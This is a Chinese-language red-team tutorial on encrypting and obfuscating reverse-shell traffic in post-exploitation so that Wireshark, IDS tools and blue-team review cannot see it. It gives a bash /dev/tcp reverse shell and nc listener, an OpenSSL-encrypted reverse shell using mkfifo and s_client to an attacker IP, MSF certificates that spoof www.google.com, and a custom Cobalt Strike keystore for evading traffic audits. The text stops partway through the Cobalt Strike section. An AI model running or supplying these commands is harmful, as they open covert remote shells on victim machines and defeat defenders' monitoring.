红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,反弹 shell,如果反弹 shell 都是明文传输,未加密的流量使用 wireshark 等工具抓包分析可以直接看到输入的命令和返回的信息,而且内网中 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很容易被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队攻击就会暴漏出来,整个项目都要停止
接下来先看下明文传输,然后介绍一些常见的流量加密混淆的方法
明文传输
环境介绍
攻击者Kali:192.168.179.134
受害者ubuntu:192.168.179.139
因为已经进入了后渗透阶段,环境中我们已经拿到了受害者的权限
先来一个错误示范,看看未经加密的流量状态
首先攻击者使用 nc 监听反弹端口
nc -lvvp 8080
然后在受害者机器上执行反弹shell命令,当然反弹shell的方法有很多,可以了解下,这里使用的 bash 反弹shell,适用于 linux 系统,无需安装
bash -i >& /dev/tcp/192.168.179.134/8080 0>&1
有关反弹shell的文章:
连接成功后在攻击机执行命令并使用 wireshark 嗅探流量(kali默认安装)
分析流量,看 tcp 流量就可以了,右击选择追踪流,可以看到执行的命令
Openssl加密传输
在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上
使用上一节的环境
使用步骤
1.攻击机使用 OpenSSL 生成自签名证书openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2.攻击机监听端口openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
3.目标机器(受害者)执行反弹 shell 命令mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect192.168.179.134:8080 > /tmp/s; rm /tmp/s# IP为攻击者IP,端口为监听端口
mkfifo 是一个创建命令管道的函数> 什么是命名管道> > 命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在,但是它的行为却和之前所讲的没有名字的管道(匿名管道)类似。> > 由于Linux中所有的事物都可被视为文件,所以对命名管道的使用也就变得与文件操作非常的统一,也使它的使用非常方便,同时我们也可以像平常的文件名一样在命令中使用
使用wireshark分析流量,可以看到 tcp 流中全部为乱码
MSF流量加密
MSF 流量加密是基于 openssl 提供的加密功能,进行流量加密
环境介绍
攻击者Kali:192.168.179.134
受害者windows:192.168.179.136
使用步骤
1.在攻击机上使用 openssl 创建证书openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt > www.google.com.pem && \rm -f www.google.com.key www.google.com.crt
CS修改profile进行流量加密
因为 CS 名声很大,使用很广泛,导致很多 ids 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,因为证书没修改,容易通过流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复
生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器
1.生成 ssl 证书在运行 cobalt strike 默认使用的 cobaltstrike.store 证书,使用默认证书容易被检测到,所以需要生成新证书在kali中执行以下命令keytool -genkey -alias ocean -keyalg RSA -validity 36500 -keystore ocean.store